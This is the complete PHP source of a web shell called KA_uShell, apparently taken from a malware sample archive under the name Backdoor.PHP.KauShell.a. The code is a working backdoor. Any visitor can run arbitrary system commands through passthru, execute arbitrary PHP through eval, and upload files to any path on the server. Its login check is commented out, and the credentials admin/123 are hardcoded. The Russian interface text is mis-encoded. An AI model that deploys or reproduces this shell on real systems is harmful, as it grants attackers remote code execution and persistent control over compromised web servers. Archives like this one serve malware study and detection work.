MalwareSourceCode/PHP/Backdoor.PHP.KauShell.a

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<!--
/+--------------------------------+\
| KA_uShell |
| <KAdot Universal Shell> |
| Version 0.1.6 |
| 13.03.04 |
| Author: KAdot <KAdot@ngs.ru> |
|--------------------------------|
\+ +/
-->
<html>
<head>
<title>KA_uShell 0.1.6</title>
<style type="text/css">
<!--
body, table{font-family:Verdana; font-size:12px;}
table {background-color:#EAEAEA; border-width:0px;}
b {font-family:Arial; font-size:15px;}
a{text-decoration:none;}
-->
</style>
</head>
<body>
<?php
$self = $_SERVER['PHP_SELF'];
$docr = $_SERVER['DOCUMENT_ROOT'];
$sern = $_SERVER['SERVER_NAME'];
$tend = "</tr></form></table><br><br><br><br>";
// Configuration
$login = "admin";
$pass = "123";
/*/ Authentication
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="KA_uShell"');
header('HTTP/1.0 401 Unauthorized');
exit;}
else {
if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass || empty($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']<>$login)
{ echo "×òî íàäî?"; exit;}
}
*/
if (!empty($_GET['ac'])) {$ac = $_GET['ac'];}
elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}
else {$ac = "shell";}
// Menu
echo "
|<a href=$self?ac=shell>Shell</a>|
|<a href=$self?ac=upload>File Upload</a>|
|<a href=$self?ac=tools>Tools</a>|
|<a href=$self?ac=eval>PHP Eval Code</a>|
|<a href=$self?ac=whois>Whois</a>|
<br><br><br><pre>";
switch($ac) {
// Shell
case "shell":
echo <<<HTML
<b>Shell</b>
<table>
<form action="$self" method="POST">
<input type="hidden" name="ac" value="shell">
<tr><td>
$$sern <input size="50" type="text" name="c"><input align="right" type="submit" value="Enter">
</td></tr>
<tr><td>
<textarea cols="100" rows="25">
HTML;
if (!empty($_POST['c'])){
passthru($_POST['c']);
}
echo "</textarea></td>$tend";
break;
//PHP Eval Code execution
case "eval":
echo <<<HTML
<b>PHP Eval Code</b>
<table>
<form method="POST" action="$self">
<input type="hidden" name="ac" value="eval">
<tr>
<td><textarea name="ephp" rows="10" cols="60"></textarea></td>
</tr>
<tr>
<td><input type="submit" value="Enter"></td>
$tend
HTML;
if (isset($_POST['ephp'])){
eval($_POST['ephp']);
}
break;
//Text tools
case "tools":
echo <<<HTML
<b>Tools</b>
<table>
<form method="POST" action="$self">
<input type="hidden" name="ac" value="tools">
<tr>
<td>
<input type="radio" name="tac" value="1">B64 Decode<br>
<input type="radio" name="tac" value="2">B64 Encode<br><hr>
<input type="radio" name="tac" value="3">md5 Hash
</td>
<td><textarea name="tot" rows="5" cols="42"></textarea></td>
</tr>
<tr>
<td> </td>
<td><input type="submit" value="Enter"></td>
$tend
HTML;
if (!empty($_POST['tot']) && !empty($_POST['tac'])) {
switch($_POST['tac']) {
case "1":
echo "Ðàñêîäèðîâàííûé òåêñò:<b>" .base64_decode($_POST['tot']). "</b>";
break;
case "2":
echo "Êîäèðîâàííûé òåêñò:<b>" .base64_encode($_POST['tot']). "</b>";
break;
case "3":
echo "Êîäèðîâàííûé òåêñò:<b>" .md5($_POST['tot']). "</b>";
break;
}}
break;
// Uploading
case "upload":
echo <<<HTML
<b>File Upload</b>
<table>
<form enctype="multipart/form-data" action="$self" method="POST">
<input type="hidden" name="ac" value="upload">
<tr>
<td>Ôàéëî:</td>
<td><input size="48" name="file" type="file"></td>
</tr>
<tr>
<td>Ïàïêà:</td>
<td><input size="48" value="$docr/" name="path" type="text"><input type="submit" value="Ïîñëàòü"></td>
$tend
HTML;
if (isset($_POST['path'])){
$uploadfile = $_POST['path'].$_FILES['file']['name'];
if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}
if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
echo "Ôàéëî óñïåøíî çàãðóæåí â ïàïêó $uploadfile\n";
echo "Èìÿ:" .$_FILES['file']['name']. "\n";
echo "Ðàçìåð:" .$_FILES['file']['size']. "\n";
} else {
print "Íå óäà¸òñÿ çàãðóçèòü ôàéëî. Èíôà:\n";
print_r($_FILES);
}
}
break;
// Whois
case "whois":
echo <<<HTML
<b>Whois</b>
<table>
<form action="$self" method="POST">
<input type="hidden" name="ac" value="whois">
<tr>
<td>Äîìåí:</td>
<td><input size="40" type="text" name="wq"></td>
</tr>
<tr>
<td>Õóéç ñåðâåð:</td>
<td><input size="40" type="text" name="wser" value="whois.ripe.net"></td>
</tr>
<tr><td>
<input align="right" type="submit" value="Enter">
</td></tr>
$tend
HTML;
if (isset($_POST['wq']) && $_POST['wq']<>"") {
if (empty($_POST['wser'])) {$wser = "whois.ripe.net";} else $wser = $_POST['wser'];
$querty = $_POST['wq']."\r\n";
$fp = fsockopen($wser, 43);
if (!$fp) {echo "Íå ìîãó îòêðûòü ñîêåò";} else {
fputs($fp, $querty);
while(!feof($fp)){echo fgets($fp, 4000);}
fclose($fp);
}}
break;
}
?>
</pre>
</body>
</html>